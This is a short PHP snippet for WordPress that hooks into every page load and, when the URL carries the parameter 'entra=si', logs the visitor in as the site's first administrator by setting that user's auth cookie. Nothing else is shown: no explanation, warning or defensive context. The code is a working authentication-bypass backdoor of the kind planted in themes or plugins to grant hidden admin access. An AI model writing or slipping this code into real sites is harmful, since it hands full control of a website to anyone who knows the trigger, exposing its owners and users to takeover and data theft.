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<?php 

add_action( 'init', 'log_me_in' );
function log_me_in(){

    if( !isset($_GET['entra']) || $_GET['entra'] != 'si' ) {
        return;
    }

    $blogID = get_current_blog_id();
    $users = get_users( array( 'blog_id' => $blogID ) );
    foreach( $users as $user ) {
        if( $user->roles[0] == 'administrator' ) {
            wp_set_auth_cookie( $user->ID, true );
            wp_redirect( home_url() );
            break;
        }
    }
}